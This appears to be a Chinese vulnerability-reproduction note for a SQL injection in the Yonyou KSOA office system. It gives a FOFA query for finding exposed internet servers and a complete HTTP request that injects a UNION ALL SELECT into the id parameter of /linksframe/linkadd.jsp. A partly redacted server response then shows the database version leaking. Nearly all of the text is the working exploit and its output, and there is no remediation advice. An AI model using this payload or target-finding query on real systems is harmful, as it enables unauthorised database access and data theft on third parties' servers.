Y22-3用友-时空KSOA-SQL

漏洞描述：

用友时空OA（OfficeAnywhere）是用友软件推出的办公自动化产品，支持移动办公，提供强大的工作流引擎、协同办公工具、信息管理、日程和会议管理等功能，旨在帮助企业提高工作效率、促进团队合作，同时注重数据安全和权限管理。产品特性可能会因版本和更新而有所变化，建议查阅用友官方网站获取最新信息

影响版本：

网站图片：

网络测绘：

fofa语法：

FOFA: app="用友-时空KSOA"

漏洞复现：

payload:

```
GET /linksframe/linkadd.jsp?id=-2125%27%20UNION%20ALL%20SELECT%20NULL,@@version,NULL,NULL,NULL-- HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://fofa.info/
Connection: close
Cookie:
Upgrade-Insecure-Requests: 1
```

效果图：

```
1 GET /linksframe/linkadd.jsp?id=
-2125%27%20UNION%20ALL%20SELECT%20NULL,NULL,@@version,NULL,NULL,NULL-- HTTP/1.1
2 Host: ██████ ██ ████
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) ███████ ████
Firefox/121.0
4 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=
0.8
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Cookie: JSESSIONID=████████████████
9 Upgrade-Insecure-Requests: 1
0
```

```
                    </b>
                </td>
23          </tr>
      </table>
24      <br>

25      <TABLE width="98%" height="164" border=0 align="
cellSpacing=0 bgcolor=f5f5f5>
26        <TBODY>
27          <input  name="id" type=hidden value=null>
28
29          <tr bgcolor="#f5f5f5">
30            <TD >
                 
              </td>
31            <TD >
                地址名称:
32              <input name="linkcaption" type="text" id
33              value=Microsoft SQL Server 2008 R2 (RTM)
34              Apr  2 2010 15:48:46
35              Copyright (c) Microsoft Corporation
36              Enterprise Edition (64-bit) on Windows N
                 (Build 9200: )
37
38
39              >   例如: 搜狐
40            </td>
41            <TD >
                 
              </td>
42          </tr>
43          <tr bgcolor="#f5f5f5">

44            <TD height="21" >
                 
```